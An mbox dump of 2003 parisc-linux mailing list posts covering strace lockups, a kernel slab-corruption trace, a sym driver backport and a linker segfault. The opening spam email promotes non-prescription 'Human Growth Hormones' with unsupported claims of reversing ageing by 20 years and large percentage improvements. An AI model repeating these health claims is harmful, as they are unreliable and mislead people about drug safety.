List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20198

--7B_F862F6AD_1AEBAA_83E5
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>

<head>
<meta http-equiv=3D"Content-Language" content=3D"en-us">
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dwindows-=
1252">
</head>

<body>

<table border=3D"1" cellspacing=3D"1" style=3D"border-collapse: collapse" =
bordercolor=3D"#0033CC" width=3D"525" height=3D"24">
  <tr>
    <td width=3D"100%" height=3D"16" bgcolor=3D"#0033CC" align=3D"center" =
bordercolor=3D"#0033CC"> 
      <b><font face=3D"Verdana" size=3D"1" color=3D"#FFFFFF">Natural Solut=
ions Shipped 
      to Your Door!</font></b></td>
  </tr>
  <tr>
    <td width=3D"100%" height=3D"36" bgcolor=3D"#FFFF99" align=3D"center" =
bordercolor=3D"#0033CC"> 
      <i><b><a href=3D"http://www.smellsogood.biz/?f=3Dcgi-bin/cp-app.cgi?=
rrc=3DN&pg=3Dprod&ref=3Dhgh&affl=3D1980"> <font face=3D"Verdana" color=3D"=
#0033CC" size=3D"4">Visit 
      Our Online Health Store Now & SAVE!</font></a></b></i></td>
  </tr>
  <tr>
    <td width=3D"100%" height=3D"18" bgcolor=3D"#0033CC">
      <p align=3D"center"><b><font face=3D"Verdana" size=3D"1" color=3D"#F=
FFFFF">No Prescription 
        Needed! </font></b></p>
    </td>
  </tr>
</table>
<table border=3D"0" cellspacing=3D"1" style=3D"border-collapse: collapse" =
bordercolor=3D"#111111" width=3D"524" cellpadding=3D"12">
  <tr>
    <td width=3D"100%" height=3D"200" align=3D"center"> 
      <div align=3D"center"> 
        <p align=3D"left"><font face=3D"Arial" size=3D"2" color=3D"#000080=
">Regain Your 
          Youth with:</font><font size=3D"2" face=3D"Arial"> <b> <font col=
or=3D"#0033CC"><a href=3D"http://www.smellsogood.biz/?f=3Dcgi-bin/cp-app.c=
gi?rrc=3DN&pg=3Dprod&ref=3Dhgh&affl=3D1980"> 
          Human Growth Hormones</a></font></b> <i><font color=3D"#FF0000">=
<b>Starting 
          at Only $49!</b></font></i></font><font face=3D"Arial" size=3D"2=
" color=3D"#000080"><br>
          </font></p>
        <p align=3D"left"><font face=3D"Arial" size=3D"2" color=3D"#000080=
">Experts report 
          that HGH therapy makes you look and feel 20 YEARS YOUNGER! <br>
          </font></p>
        <table width=3D"75%" border=3D"0" cellspacing=3D"0" cellpadding=3D=
"3">
          <tr> 
            <td> 
              <div align=3D"right"><b><font face=3D"Arial" size=3D"2" colo=
r=3D"#000080">Body 
                Fat Loss: </font></b></div>
            </td>
            <td><b><font face=3D"Arial" size=3D"2" color=3D"#FF0000">82=
% improvement 
              </font></b></td>
          </tr>
          <tr> 
            <td> 
              <div align=3D"right"><b><font face=3D"Arial" size=3D"2" colo=
r=3D"#000080">Wrinkle 
                Reduction: </font></b></div>
            </td>
            <td><b><font face=3D"Arial" size=3D"2" color=3D"#FF0000">61=
% improvement</font></b></td>
          </tr>
          <tr> 
            <td> 
              <div align=3D"right"><b><font face=3D"Arial" size=3D"2" colo=
r=3D"#000080">Energy 
                Level: </font></b></div>
            </td>
            <td><b><font face=3D"Arial" size=3D"2" color=3D"#FF0000">84=
% improvement 
              </font></b></td>
          </tr>
          <tr> 
            <td> 
              <div align=3D"right"><b><font face=3D"Arial" size=3D"2" colo=
r=3D"#000080">Muscle 
                Strength: </font></b></div>
            </td>
            <td><b><font face=3D"Arial" size=3D"2" color=3D"#FF0000">88=
% improvement 
              </font></b></td>
          </tr>
          <tr> 
            <td> 
              <div align=3D"right"><b><font face=3D"Arial" size=3D"2" colo=
r=3D"#000080">Sexual 
                Potency: </font></b></div>
            </td>
            <td><b><font face=3D"Arial" size=3D"2" color=3D"#FF0000">75=
% improvement</font></b></td>
          </tr>
          <tr> 
            <td> 
              <div align=3D"right"><b><font face=3D"Arial" size=3D"2" colo=
r=3D"#000080">Memory:</font></b></div>
            </td>
            <td><b><font face=3D"Arial" size=3D"2" color=3D"#FF0000">62=
% improvement</font></b></td>
          </tr>
        </table>
        <p align=3D"center"><a href=3D"http://www.smellsogood.biz/?f=3Dcgi=
-bin/cp-app.cgi?rrc=3DN&pg=3Dprod&ref=3Dhgh&affl=3D1980"><font face=3D"Ari=
al, Helvetica, sans-serif" size=3D"2"><b>Click 
          Here to Read Why Our HGH Works!</b></font></a></p>
      </div>
    </td>
  </tr>
</table>
<table border=3D"1" cellspacing=3D"1" style=3D"border-collapse: collapse" =
bordercolor=3D"#0033CC" width=3D"525" height=3D"24">
  <tr>
    <td width=3D"100%" height=3D"16" bgcolor=3D"#0033CC" align=3D"center" =
bordercolor=3D"#0033CC"> 
      <b><font face=3D"Verdana" size=3D"1" color=3D"#FFFFFF">Shipped Direc=
tly and Discreetly 
      to your Door!</font></b></td>
  </tr>
  <tr>
    <td width=3D"100%" height=3D"36" bgcolor=3D"#FFFF99" align=3D"center" =
bordercolor=3D"#0033CC"> 
      <i><b><a href=3D"http://www.smellsogood.biz/?f=3Dcgi-bin/cp-app.cgi?=
rrc=3DN&pg=3Dprod&ref=3Dhgh&affl=3D1980"> <font face=3D"Verdana" color=3D"=
#0033CC" size=3D"4">Visit 
      Our Online Health Store Now & SAVE!</font></a></b></i></td>
  </tr>
  <tr>
    <td width=3D"100%" height=3D"18" bgcolor=3D"#0033CC">
      <p align=3D"center"><b><font face=3D"Verdana" size=3D"1" color=3D"#F=
FFFFF">No Prescription 
        Needed! </font></b></p>
    </td>
  </tr>
</table>
<p> </p>
<p> </p>
<p><b><font face=3D"Tahoma" size=3D"1">
<a href=3D"http://www.smellsogood.biz/?f=3Ddelist.html">-Delete my email f=
rom your mailing 
list-</a></font></b></p>

</body>

</html>

--7B_F862F6AD_1AEBAA_83E5--



From - Thu Nov 08 21:30:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Sun, 23 Nov 2003 19:25:14 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20031124022514.GA23224@colo.lackof.org>
References: <20031121005003.GB13007@colo.lackof.org> <3FB265250000556F@ocpmta2.freegates.net> <20031122052915.GB29917@colo.lackof.org> <3FBF4F65.70502@tiscali.be> <20031122220919.GA6732@colo.lackof.org> <3FBFE71F.7060207@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622993 2232 80.91.229.3 (22 Nov 2014 02:23:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 19:25:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 413204840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Nov 2003 19:25:16 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 886F729803C; Sun, 23 Nov 2003 19:25:15 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 23376-01; Sun, 23 Nov 2003 19:25:14 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B0F4F298038; Sun, 23 Nov 2003 19:25:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FBFE71F.7060207@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20199

On Sat, Nov 22, 2003 at 10:45:51PM +0000, Joel Soete wrote:
> hmm b2k and c3k are very brother system in term of architecture and 
> components?

yes - identical nearly. Share the same CPU, chipset, and firmware.

>  May I ask you the amount of ram stand in your c3k? (on my 
> b2k only 256k).

1GB.


> >If network, then I would guess your merge (or the 2.4.23-rc2 base) has a 
> >bug.
> 
> Certainly :( [but where, the rest ftp, rsync, nfs-client, gtk-app, ... 
> work fine and no special messages neither into kernel, messages or 
> syslog?]. Well don't care now, it is just a beat anoying to printout my 
> scripts.

ok. TBH, I have no clue then. It might be possible to attach strace to
a running lp deamon, redirect strace output to /dev/console and then
compore what happens different on the b2k when a print job is started.
My hope is the syscall output will get printed before it totallte crashes.

grant


From - Thu Nov 08 21:30:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
Date: Sun, 23 Nov 2003 19:42:51 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20031124024251.GB23224@colo.lackof.org>
References: <20031121005003.GB13007@colo.lackof.org> <3FB265250000556F@ocpmta2.freegates.net> <20031122052915.GB29917@colo.lackof.org> <3FBF4F65.70502@tiscali.be> <20031122220919.GA6732@colo.lackof.org> <3FBFE7F0.2070204@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622993 2237 80.91.229.3 (22 Nov 2014 02:23:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 19:42:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62FAE4840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Nov 2003 19:42:53 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A8E89298038; Sun, 23 Nov 2003 19:42:52 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 22565-09; Sun, 23 Nov 2003 19:42:52 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E6FB9298034; Sun, 23 Nov 2003 19:42:51 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FBFE7F0.2070204@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20200

On Sat, Nov 22, 2003 at 10:49:20PM +0000, Joel Soete wrote:
> >2.4.22-pa17 on c3k, "strace -f -o /tmp/dcop.out dcopserver" hung at home. 
> Sorry I forget to ask if "strace -f dcopserver" works?

good question. It locked up with 2.4.22-pa17 as well. :^(
"locked up" meaning:
o I could ping a NIC
o console mouse/keyboard stopped responding
o I couldn't ssh into the box.

System TOC'd nicely and then HPMC'd the box.
GR00-3 0x0  0x1032f010 0x102a1a70  0x1038953c
GR20-23 0x53  0xff..ff 0x0a  0x3c230a1c
GR24-27  0x102bddbd 0xff...feb 0x3c230948 0x102d2010

IIA Space  0x0
IIA Offset 0x102a0994 strnlen+18
GR02 0x102a1a70 vsnprintf+6dc

blecchh...need a full stack unwinder.

grant


From - Thu Nov 08 21:30:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym-2.1.18i backport?
Date: Sun, 23 Nov 2003 22:05:35 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20031124050535.GD23224@colo.lackof.org>
References: <3FC12C9A.9050903@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622993 2240 80.91.229.3 (22 Nov 2014 02:23:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 22:05:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A6934840
	for <parisc-linux@parisc-linux.org>; Sun, 23 Nov 2003 22:05:37 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 5CB08298043; Sun, 23 Nov 2003 22:05:36 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 25492-08; Sun, 23 Nov 2003 22:05:35 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C3C1729803D; Sun, 23 Nov 2003 22:05:35 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FC12C9A.9050903@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20201

On Sun, Nov 23, 2003 at 09:54:34PM +0000, Joel Soete wrote:
> Hi Matthew and all,
> 
> Did you foreseen to backport your great patch (sym-2.1.18i) to 2.4?
> (well some part wouldn't have to be applied (as __init change) but many
> stuff would be interesting?)

I'm considereing do that backport once willy feels the code is "stable".
We have to sort out the u160 support - it's not very clear how it is
supposed to work and it doesn't seem to.

> Is there some interest? faisible?

yes and eventually.

thanks,
grant


From - Thu Nov 08 21:30:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUG 2.6.0-test9-4 slab internal list corruption
Date: Sun, 23 Nov 2003 23:44:35 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <20031124064435.GA26585@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622993 2243 80.91.229.3 (22 Nov 2014 02:23:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 23 23:44:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B93E4840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Nov 2003 23:44:37 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id CBBAD298043
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Nov 2003 23:44:36 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 26551-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Nov 2003 23:44:35 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E2A8129803D; Sun, 23 Nov 2003 23:44:35 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20202

A500-65 (aka ion) booted with:
Linux version 2.6.0-test9-4-parisc64 (jejb@raven) (gcc version 3.0.4) #2 Wed Nov 5 22:30:59 CST 2003


Last console output before it crashed:

slab: Internal list corruption detected in cache 'buffer_head'(32), slabp 000000003bc0c000(0). Hexdump:

000: 00 00 00 00 00 00 00 40 00 00 00 00 10 4a b5 90
010: 00 00 00 00 08 00 00 0f 00 00 00 00 4f 6c 14 c0
020: 00 00 00 00 00 0c 00 00 00 00 00 00 4f 6c 14 c0
030: 00 00 00 00 10 28 56 1c 00 00 00 00 3f 4d c9 48
040: 00 00 00 00 90 5b 70 b0 00 00 00 00 10 40 98 60
050: 00 00 00 00 4f 2a d5 00 00 00 00 00 10 40 98 60
060: 00 00 00 00 10 40 98 60 00 00 00 00 10 40 98 60
070: 00 00 00 00 00 0c c4 b0 00 00 00 00 10 3b 56 28
080: 00 00 00 00 11 a6 f8 30
kernel BUG at mm/slab.c:1752!
Kernel addresses on the stack:
 [<0000000010110478>] show_trace+0x40/0x110
 [<00000000101102c4>] dump_stack+0x24/0x38
 [<000000001016e170>] cache_alloc_refill+0x2f0/0x620
 [<0000000010190b30>] __getblk+0x38/0x80
 [<000000001016ee80>] kmem_cache_alloc+0x2a0/0x2b0
 [<000000000010f7c4>] ext2_alloc_branch+0x6c/0x310 [ext2]
 [<0000000010194fa8>] alloc_buffer_head+0x30/0x80
 [<000000001018fda8>] create_buffers+0x80/0x110
 [<00000000101eac24>] __divdi3+0x74/0xd0
 [<0000000010191154>] create_empty_buffers+0x2c/0x130
 [<000000001019230c>] __block_prepare_write+0x7d4/0x7e8
 [<0000000010193214>] block_prepare_write+0x44/0x78
 [<0000000000110024>] ext2_prepare_write+0x3c/0x50 [ext2]
 [<000000001016555c>] generic_file_aio_write_nolock+0x3cc/0xb88
 [<000000001016b724>] page_cache_readahead+0x144/0x198
 [<0000000010165d70>] generic_file_write_nolock+0x58/0x90
 [<000000001017aaa0>] do_no_page+0x320/0x678
 [<0000000010163938>] generic_file_read+0x68/0xa0
 [<000000001017b0e0>] handle_mm_fault+0x180/0x1f0
 [<0000000010165f54>] generic_file_write+0x7c/0xf0
 [<000000001018c8b4>] vfs_write+0xfc/0x170
 [<0000000010112258>] do_irq+0x138/0x190
 [<000000001018ca3c>] sys_write+0x64/0xb0
 [<0000000010112378>] do_cpu_irq_mask+0xc8/0x138


Last activity:
	I had just reconfigured the tulip/tg3.
And then started a "DISTCC" run from gsyprf11 with ion's tg3 card
listed as the only other in DISTCC_HOSTS. gsyprf11 and ion are
both connected to the same GigE switch and thus can talk full duplex
at "link rate". gsyprf11 survived and is running
	 2.4.21-pa6 #23 Mon Jul 14 23:11:39 PDT 2003

thanks,
grant



From - Thu Nov 08 21:30:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa64-linux-ld segfault
Date: Mon, 24 Nov 2003 00:07:24 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20031124070724.GB26585@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622994 2249 80.91.229.3 (22 Nov 2014 02:23:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 00:07:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id E666E4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 00:07:25 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 716F7298043
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 00:07:25 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 26688-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Nov 2003 00:07:24 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BA92829803D; Mon, 24 Nov 2003 00:07:24 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20203

Trying to build 64-bit 2.6.0-test10 on a500...I'm getting:

grundler <537>make
make[1]: `arch/parisc/kernel/asm-offsets.s' is up to date.
  CHK     include/asm-parisc/offsets.h
  CHK     include/linux/compile.h
  GEN     .version
  CHK     include/linux/compile.h
  UPD     include/linux/compile.h
  CC      init/version.o
  LD      init/built-in.o
  LD      .tmp_vmlinux1
/usr/bin/hppa64-linux-ld: line 4:  9184 Segmentation fault      /opt/palinux/bin/$prog $*
make: *** [.tmp_vmlinux1] Error 139
grundler <538>

It likely I'm not be the only person running into this.
And not sure why I'm suddenly seeing this problem though...

thanks,
grant


From - Thu Nov 08 21:30:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux-ld segfault
Date: Sun, 23 Nov 2003 23:15:51 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20031124071550.GZ975@tausq.org>
References: <20031124070724.GB26585@colo.lackof.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622994 2253 80.91.229.3 (22 Nov 2014 02:23:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 24 00:11:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D93C54840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Nov 2003 00:11:39 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 120F3CD294; Sun, 23 Nov 2003 23:15:51 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20031124070724.GB26585@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20204

> It likely I'm not be the only person running into this.
> And not sure why I'm suddenly seeing this problem though...

The 64-bit binutils in gcc-hppa64 is too old. This problem was fixed a
few months back but we don't yet have a newer packaged binutils. you can
either build one yourself from latest binutils cvs for the hppa64-linux
target, or wait for a new gcc-hppa64 to be packaged. (any volunteers?
;-)

i wanted to update the package to use a newer gcc (it's using 3.0.4
right now) but gcc-3.3 doesn't seem to produce working kernels for
hppa64-linux :( for now i guess we want to build gcc-3.0.4+latest
binutils

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
